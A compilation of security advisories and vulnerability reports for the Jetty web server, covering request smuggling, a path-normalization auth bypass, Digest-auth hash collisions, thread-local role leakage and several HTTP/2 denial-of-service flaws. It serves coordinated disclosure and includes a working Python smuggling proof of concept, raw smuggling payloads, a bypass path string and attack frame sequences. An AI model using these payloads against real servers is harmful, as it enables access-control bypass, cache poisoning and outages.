Description (as reported)
A security vulnerability has been identified in Jetty's JaspiAuthenticator.java.
The root cause is a failure to consistently clear authentication metadata stored in ThreadLocal during certain error or incomplete authentication flows. Specifically, after a GroupPrincipalCallback is persisted into the ThreadLocal, the authentication process may exit prematurely — before the ThreadLocal storage is cleared — if a mandatory CallerPrincipalCallback is missing or an exception occurs. This allows a subsequent, unprivileged user processed by the same worker thread to inherit these residual security roles, leading to Broken Access Control and Privilege Escalation.
See also attached PDF.
Impact An unauthenticated user may gain ungrated privileges from a previous request (privilege escalation).
Patches No patches yet.
Workarounds Do not use Jetty's JASPI.
Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9112 Section 7.1.1 defines chunked transfer encoding: chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string: quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE
A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.
Vulnerability
Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.
Expected (RFC compliant): Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n]
Actual (jetty): Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request
Proof of Concept
python #!/usr/bin/env python3 import socket
payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )
sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)
response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break
sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
Impact
- Request Smuggling: Attacker injects arbitrary HTTP requests - Cache Poisoning: Smuggled responses poison shared caches - Access Control Bypass: Smuggled requests bypass frontend security - Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
1. Start the minimal POC with docker 2. Run the poc script provided in same zip
Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
Patches No patches yet.
Workarounds No workarounds yet.
Description (as reported)
Summary
In Jetty 12.1.8, org.eclipse.jetty.util.URIUtil.canonicalPath() may leave dot-dot path segments unnormalized when a semicolon path parameter marker is followed by a slash and a dot segment.
A minimal example is:
/public;/../admin/secret
In my local reproduction, URIUtil.canonicalPath() returns:
/public/../admin/secret
instead of the expected normalized path:
/admin/secret
When Jetty's SecurityHandler.PathMapped is used to protect a path prefix such as /admin/, the non-normalized canonical path may not match the protected prefix. As a result, an unauthenticated request may bypass the configured path-based security constraint.
Tested Version
Jetty: 12.1.8 JDK: 17.0.18 Maven: 3.9.14
Maven artifacts used:
org.eclipse.jetty:jetty-server:12.1.8 org.eclipse.jetty:jetty-security:12.1.8 org.eclipse.jetty:jetty-session:12.1.8
Only confirmed Jetty 12.1.8 so far.
Minimal Reproduction
Starts a minimal Jetty server with the following security setup:
java SecurityHandler.PathMapped security = new SecurityHandler.PathMapped(); security.put("/admin/", Constraint.from("admin")); security.put("/", Constraint.ALLOWED); security.setAuthenticator(new BasicAuthenticator());
The test then sends requests with no Authorization header.
Observed result:
GET /admin/secret -> 401 GET /public;x/../admin/secret -> 200
The handler receives paths such as:
/public/../admin/secret
This suggests that the /admin/ security constraint is bypassed because PathMapped matching is performed against the non-normalized canonical path.
Suspected Root Cause
The suspected root cause is in URIUtil.canonicalPath().
The relevant logic is approximately:
java for (int i = 0; i < end; i++) { char c = encodedPath.charAt(i);
switch (c) { case ';': if (builder == null) { builder = new Utf8StringBuilder(encodedPath.length()); builder.append(encodedPath, 0, i); }
while (++i < end) { if (encodedPath.charAt(i) == '/') { builder.append('/'); break; } } break;
case '.': if (slash) normal = false; if (builder != null) builder.append(c); break; }
slash = c == '/'; }
String canonical = (builder != null) ? (onBadUtf8 == null ? builder.toCompleteString() : builder.takeCompleteString(onBadUtf8)) : encodedPath; return normal ? canonical : normalizePath(canonical);
For the input:
/public;/../admin/secret
when the outer loop reaches the semicolon:
i = 7 c = ';' slash = false normal = true
Inside case ';', the while (++i < end) loop advances i to the next character, which is already '/' for the empty path parameter form ";/".
The code then appends '/' to the canonical builder:
builder.append('/');
At this point, the canonical builder ends with '/':
/public/
However, the local variable c is still the old value ';', because c was read before entering the switch and is not updated when the inner loop advances i.
After leaving the switch, the loop updates the slash state using:
slash = c == '/';
Since c is still ';', slash becomes false.
On the next iteration, the scanner reaches '.', which is the first dot in the following "../" segment. Because slash is incorrectly false, this code does not run:
java if (slash) normal = false;
Therefore normal remains true, and canonicalPath() returns the canonical string directly instead of calling normalizePath(canonical).
The result is:
/public/../admin/secret
instead of:
/admin/secret
In short:
case ';' advances the scan position i and appends '/' to the canonical builder, but the loop tail still updates slash from the stale character c=';'. As a result, the following dot-dot segment is not detected as a path traversal segment.
More Precise Trigger Condition
The issue is not limited to a non-empty path parameter such as ";x".
The more precise trigger shape is:
;[^/]/.
Examples:
/public;/../admin/secret /public;x/../admin/secret /public;anything/../admin/secret /public;/./admin/secret
The minimal form is:
/public;/../admin/secret
because the semicolon is immediately followed by '/', so the inner while loop reaches '/' on its first increment.
Potential Minimal Fix Direction
A minimal fix would be to ensure that, when case ';' consumes input until '/' and appends '/' to the canonical builder, the slash state reflects the last effective character in the canonical path.
For example, conceptually:
java case ';': if (builder == null) { builder = new Utf8StringBuilder(encodedPath.length()); builder.append(encodedPath, 0, i); }
while (++i < end) { if (encodedPath.charAt(i) == '/') { builder.append('/'); slash = true; break; } } continue;
The important part is to avoid the loop tail from overwriting slash using the stale c value:
slash = c == '/';
In other words, slash should represent the last effective character appended to the canonical builder, not the original input character read before case ';' advanced i.
Description
FINDING — MEDIUM (HTTP/1.1 keep-alive connections with trailers) HttpConnection.trailers Cross-Request Leakage (Never Reset Between Requests) Location: jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/ HttpConnection.java:107, 1157-1161, 1170 Detail: trailers (line 107) is a connection-scoped HttpFields.Mutable field. parsedTrailer() (line 1157) populates it when request N carries HTTP trailers. messageComplete() (line 1170) checks "if (trailers != null)" — evaluates true from request N's data — and stamps it onto request N+1. Grep confirms: ZERO occurrences of "trailers = null" in entire HttpConnection.java. Scenario: Request N: POST /upload (trailers: X-Checksum: abc123) Request N+1: GET /data (no trailers) app: request.getTrailers() on N+1 → returns {X-Checksum: abc123} ← STALE Application logic branching on getTrailers() != null produces incorrect behavior. Not cross-connection (same keep-alive connection only). More dangerous scenario: TOCTOU — trailer passes check, target swapped before use.
Workarounds Do not rely on HTTP request trailers for security-sensitive logic, or disable persistent connections by closing the connection after each HTTP/1.1 request.
Description (as reported)
There is a memory leak when using GzipHandler in jetty-12.0.30 that can cause off-heap OOMs. This can be used for DoS attacks so I'm reporting this as a vulnerability.
The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (no Accept-Encoding: gzip). In these conditions, a new inflator will be created by GzipRequest and never released back into GzipRequest.inflaterPool because gzipRequest.destory() is not called.
In heap dumps one can see thousands of java.util.zip.Inflator objects, which use both Java heaps and native memory. Leaking native memory causes of off-heap OOMs.
Code path in GzipHandler.handle(): 1. Line 601: GzipRequest is created when request inflation is needed. 2. Lines 611-616: The callback is only wrapped in GzipResponseAndCallback when both inflation and deflation are needed. 3. Lines 619-625: If the handler accepts the request (returns true), gzipRequest.destroy() is only called in the "request not accepted" path (returns false)
When deflation is needed, GzipResponseAndCallback (lines 102 and 116) properly calls gzipRequest.destroy() in its succeeded() and failed() methods. But this wrapper is only created when deflation is needed.
Possible fix: The callback should be wrapped whenever a GzipRequest is created, not just when deflation is needed. This ensures gzipRequest.destroy() is always called when the request completes.
Impact The leak causes the JVM to crash with OOME.
Patches No patches yet.
Workarounds Disable GzipHandler.
References https://github.com/jetty/jetty.project/issues/14260
https://gitlab.eclipse.org/security/cve-assignment/-/issues/79
HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.
Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.
The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.
The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.
In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.
Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.
swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.
swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.
Summary The DigestAuthentication.apply() method in Jetty's HTTP client uses getBytes(StandardCharsets.ISO88591) at three locations (lines 171, 179, 196) to compute Digest auth response hashes. ISO-8859-1 silently replaces any character above U+00FF (Chinese, Japanese, Cyrillic, Arabic, Emoji, etc.) with 0x3F (?), causing all such characters to produce identical hash contributions. An attacker who knows a victim's username can bypass Digest authentication by replacing all non-Latin-1 characters in the password with ? characters, since the collision password produces the same MD5-based Digest response hash as the original password.
Details Root Cause
In jetty-core/jetty-client/src/main/java/org/eclipse/jetty/client/DigestAuthentication.java, the apply() method computes the three Digest auth hashes (H(A1), H(A2), and the final response) using ISO-8859-1 character encoding:
java // Line 171 — H(A1) String hashA1 = toHexString(digester.digest(a1.getBytes(StandardCharsets.ISO88591)));
// Line 179 — H(A2) String hashA2 = toHexString(digester.digest(a2.getBytes(StandardCharsets.ISO88591)));
// Line 196 — Final response hash final String hashA3 = toHexString(digester.digest(a3.getBytes(StandardCharsets.ISO88591)));
ISO-8859-1 (Latin-1) can only encode characters in the range U+0000–U+00FF. Any character outside this range — including all CJK, Cyrillic, Arabic, Greek, Hangul, and emoji characters — is silently replaced with the byte 0x3F (?). String.getBytes(ISO88591) in Java performs this replacement without any warning or exception.
PoC Password: "我爱Java!密码123★" (7 non-Latin-1 characters)
UTF-8 encoding: 45 bytes → MD5 H(A1) = 9a4e61484f228633d5d0f95d1bbb0a99 ISO-8859-1: 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 Collision "??...": 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 ← IDENTICAL
Multi-language confirmation — all four language passwords below produce the same hash:
Chinese (密码123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Korean (비번123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Cyrillic(аб123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Greek (αβ123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Attacker(??123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 ← all collide!
Impact Scenario 1: Authentication Bypass (Collision Attack)
If a service using Jetty for Digest authentication has a user with a non-Latin-1 password (e.g., Chinese, Japanese, Russian), an attacker can authenticate as that user using a collision password where all non-Latin-1 characters are replaced with ?:
- Original password: 我爱Java!密码123★ - Collision password: ??Java!??123? - Both produce identical MD5 hashes under ISO-8859-1 → Authentication succeeds
This affects any password containing characters > U+00FF, which covers: - Chinese (CJK): U+4E00–U+9FFF - Japanese (Hiragana/Katakana/Kanji): U+3040–U+30FF, U+4E00+ - Korean (Hangul): U+AC00–U+D7AF - Cyrillic: U+0400–U+04FF (Russian, Ukrainian, Bulgarian, etc.) - Arabic: U+0600–U+06FF - Greek: U+0370–U+03FF - Latin Extended: U+0100–U+024F (accented European characters like ĉ, ğ, ñ when > U+00FF) - Emoji / Symbols > U+00FF
Scenario 2: Denial of Service for Non-Latin-1 Users
Most modern web applications store password hashes computed using UTF-8. When Jetty's Digest client computes a hash with ISO-8859-1, the bytes differ from what the server stored/expects. This means any user with non-ASCII (Latin-1+) characters in their password can never successfully authenticate via Digest auth — even the legitimate user. This is not just a security issue but a functional correctness bug that silently breaks authentication for most non-European-language users.
Description There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally.
Vulnerability details The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition.
Impact Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout.
Patches The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured.
Patched releases:
9.4.54 10.0.18 11.0.18 12.0.3
Impact If an HTTP/2 connection gets TCP congested, when an idle timeout occurs the HTTP/2 session is marked as closed, and then a GOAWAY frame is queued to be written. However it is not written because the connection is TCP congested. When another idle timeout period elapses, it is then supposed to hard close the connection, but it delegates to the HTTP/2 session which reports that it has already been closed so it does not attempt to hard close the connection.
This leaves the connection in ESTABLISHED state (i.e. not closed), TCP congested, and idle.
An attacker can cause many connections to end up in this state, and the server may run out of file descriptors, eventually causing the server to stop accepting new connections from valid clients.
The client may also be impacted (if the server does not read causing a TCP congestion), but the issue is more severe for servers.
Patches Patched versions: 9.4.54 10.0.20 11.0.20 12.0.6
Workarounds Disable HTTP/2 and HTTP/3 support until you can upgrade to a patched version of Jetty. HTTP/1.x is not affected.
References https://github.com/jetty/jetty.project/issues/11256.
Impact Remote DOS attack can cause out of memory
Description There exists a security vulnerability in Jetty's ThreadLimitHandler.getRemote() which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory.
Affected Versions
Jetty 12.0.0-12.0.8 (Supported) Jetty 11.0.0-11.0.23 (EOL) Jetty 10.0.0-10.0.23 (EOL) Jetty 9.3.12-9.4.55 (EOL)
Patched Versions
Jetty 12.0.9 Jetty 11.0.24 Jetty 10.0.24 Jetty 9.4.56
Workarounds
Do not use ThreadLimitHandler. Consider use of QoSHandler instead to artificially limit resource utilization.
References
Jetty 12 - https://github.com/jetty/jetty.project/pull/11723
Impact
Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response.
Workarounds
There is no workaround as there is no known exploit scenario.
Original Report
RFC 9110 Secion 8.6 defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling.
Payload:
POST / HTTP/1.1 Host: a.com Content-Length: +16 Connection: close 0123456789abcdef
When sending this payload to Jetty, it can successfully parse and identify the length.
When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request.
This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS.
Summary
Jetty currently accepts HTTP/2 and HTTP/3 requests where the regular Host header and the pseudo-header :authority do not match. As a result, the same request can carry two different host identities through Jetty:
- logic based on HttpURI / Request.getServerName(request) uses :authority - logic based on raw request headers continues to use Host
This creates a host/authority confusion condition that can break security assumptions in higher layers.
Jetty already performs an explicit authority/Host consistency check on the HTTP/1.1 path, but equivalent validation is missing on the HTTP/2 and HTTP/3 paths.
Security Impact
This issue is not inherently remote code execution, but it can become security-relevant in deployments that rely on the request host for security-sensitive decisions, including:
- host-based access control - virtual host isolation - multi-tenant routing by hostname - login/logout/callback URL construction - reverse proxy and forwarded-header trust chains - auditing, cache keys, and absolute URL generation
Potential consequences include:
- bypass of host-based ACLs - virtual host or tenant isolation failures - incorrect or attacker-influenced redirect/callback targets - inconsistent proxy/downstream interpretation of the original target host - misleading logs and audit records
Technical Root Cause
1. On the HTTP/2 and HTTP/3 metadata builder paths:
- :authority is parsed separately into authority/URI state - Host is preserved as a normal request header - the two values are not compared for consistency
2. On the HTTP/2 and HTTP/3 server entry paths:
- Jetty calls ComplianceUtils.verify(httpCompliance, requestMetaData, listener) - this verification does not enforce MISMATCHEDAUTHORITY
3. On the HTTP/1.1 path:
- Jetty explicitly checks whether authority and Host match - mismatches are rejected by default
Relevant Code Locations
HTTP/2 metadata builder:
- jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java
HTTP/3 metadata builder:
- jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/metadata/MetaDataBuilder.java
HTTP/2 server entry:
- jetty-core/jetty-http2/jetty-http2-server/src/main/java/org/eclipse/jetty/http2/server/internal/HttpStreamOverHTTP2.java
HTTP/3 server entry:
- jetty-core/jetty-http3/jetty-http3-server/src/main/java/org/eclipse/jetty/http3/server/internal/HttpStreamOverHTTP3.java
Shared HTTP compliance verification:
- jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/ComplianceUtils.java
HTTP/1.1 authority/Host consistency check:
- jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/HttpConnection.java
Defined but not enforced on H2/H3:
- jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/HttpCompliance.java - violation: MISMATCHEDAUTHORITY
Reproduction
I reproduced this on local Jetty 12.1.9-SNAPSHOT source.
Minimal reproduction steps:
1. Start a Jetty HTTP/2 or HTTP/3 test server. 2. Send a request with: - :authority = localhost:<port> - Host = evil.example:<port> 3. In the request handler, inspect both: - Request.getServerName(request) - request.getHeaders().get(HttpHeader.HOST) 4. Observe whether Jetty rejects the request or allows both values to remain visible. Observed result: - HTTP/2: request is accepted and returns 200 - HTTP/3: request is accepted and returns 200 - the server can observe both: - serverName=localhost - hostHeader=evil.example:<port>
This shows that a single attacker-controlled request can preserve two conflicting host interpretations inside Jetty.
Tests Used
HTTP/2 rejection test:
- org.eclipse.jetty.http2.tests.HTTP2Test#testRejectMismatchedHostHeaderAndAuthority
HTTP/2 exploitability test:
- org.eclipse.jetty.http2.tests.HTTP2Test#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader
HTTP/3 rejection test:
- org.eclipse.jetty.http3.tests.HandlerClientServerTest#testRejectMismatchedHostHeaderAndAuthority
HTTP/3 exploitability test:
- org.eclipse.jetty.http3.tests.HandlerClientServerTest#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader
Observed behavior:
- both rejection tests fail because Jetty returns 200 instead of 400 - both exploitability tests pass, confirming that Jetty exposes different host values to different layers
Project-Internal Evidence of Real Impact
Examples:
- jetty-openid uses Request.getServerName(request) to construct redirect URLs - jetty-ee11-proxy uses the raw Host header when building Forwarded
This indicates that the issue is not merely theoretical: Jetty’s own ecosystem already contains code paths where different host sources are used for different purposes.
Affected Version
Confirmed affected version:
- 12.1.9-SNAPSHOT
Other versions may also be affected if they share the same HTTP/2 / HTTP/3 request construction and compliance-validation logic. I have not yet completed a historical version matrix and would recommend confirming exact affected ranges from Jetty’s branch history.
Suggested Fix
Recommend adding HTTP/2 and HTTP/3 validation equivalent to the existing HTTP/1.1 authority/Host consistency check:
- if both :authority and regular Host are present - normalize and compare them - if they do not match, reject the request with 400 Bad Request - route the failure through the existing MISMATCHEDAUTHORITY compliance mechanism
Also adding explicit HTTP/2 and HTTP/3 regression coverage for this case.
Disclosure Status
- not publicly disclosed - no public issue filed - shared only privately with the Jetty security contacts
The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:
Invalid Scheme | URI | Jetty | uri-js (nodejs) | node-url(nodejs) | |---|---|---| --- | | https>://vulndetector.com/path | scheme=http>| scheme=https | invalid URI |
Improper IPv4 mapped IPv6
| URI | Jetty | System.Uri(CSharp) | curl(C) | |---|---|---| --- | | http://[0:0:0:0:0:ffff:127.0.0.1] | invalid | host=[::ffff:127.0.0.1] | host=[::ffff:127.0.0.1] | | http://[::ffff:255.255.0.0] | invalid | host=[::ffff:255.255.0.0] | host=[::ffff:255.255.0.0] |
Incorrect IPv6 delimeter priority
| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium | |---|---|---| --- |---|---| | http://[normal.com@]vulndetector.com/ | host=[normal.com@] | invalid | invalid | | | | http://normal.com[user@vulndetector].com/ | host=[noirmal.com@vulndetector | | | host=normal.com | invalid | | http://normal.com[@]vulndetector.com/ | host=normal.com[@] | | | host=normal.com | invalid |
Incorrect delimeter priority
| URI | Jetty | urllib3(python) | jersey | |---|---|---| --- | | http://normal.com/#@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com | | http://normal.com/?@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com |
Impact Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.
Patches Patched in Supported Open Source versions. 12.1.5 - Supported and available on Maven Central 12.0.31 - Supported and available on Maven Central 11.0.x - EOL Release, patches available on tuxcare and herodevs 10.0.x - EOL Release, patches available on tuxcare and herodevs 9.4.x - EOL Release, patches available on tuxcare and herodevs
Workarounds None
Resources
+ Java Eclipse Jetty Report Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf + Java Eclipse Jetty Report The Parsing Priority of the Delimiter.pdf + Java Eclipse Jetty Report Parsing Difference Due to Deformed Scheme.pdf + Java Eclipse Jetty Report Improper IPv4-mapped IPv6 Parsing.pdf
Original Report
In Eclipse Jetty versions 12.0.0 to 12.0.16 included, an HTTP/2 client can specify a very large value for the HTTP/2 settings parameter SETTINGSMAXHEADERLISTSIZE. The Jetty HTTP/2 server does not perform validation on this setting, and tries to allocate a ByteBuffer of the specified capacity to encode HTTP responses, likely resulting in OutOfMemoryError being thrown, or even the JVM process exiting.
Impact Remote peers can cause the JVM to crash or continuously report OOM.
Patches 12.0.17
Workarounds No workarounds.
References https://github.com/jetty/jetty.project/issues/12690
Technical Details Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”
MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.
Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RSTSTREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOWUPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the ENDSTREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RSTSTREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RSTSTREAM, and some implementations send GOAWAY when receiving a WINDOWUPDATE frame with increment of 0.
The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGSMAXCONCURRENTSTREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.
Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RSTSTREAM.
Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with ENDSTREAM flag on a new stream X. 3. Attacker sends WINDOWUPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOWUPDATE and immediately sends RSTSTREAM for stream X to the client (+ decreases the active streams counter by 1).
The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependant)
Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RSTSTREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RSTSTREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RSTSTREAM.
Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RSTSTREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOWUPDATE and PRIORITY), and treat protocol flow errors as a connection error.
As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.
If you have any questions, we will be happy to clarify or schedule a Zoom call.
Gal, Anat and Yaniv.
Jetty's Team Notes
Impact A denial of service vulnerability similar to Rapid Reset, but where the client triggers a reset from the server by sending a malformed or invalid frame. In particular, this may be triggered by WINDOWUPDATE frames that are invalid (e.g. with delta==0 or when the delta makes the window exceed 2^31-1).
Patches Patch has been merged into 12.0.x mainline via https://github.com/jetty/jetty.project/pull/13449.
Workarounds No workarounds apart disabling HTTP/2.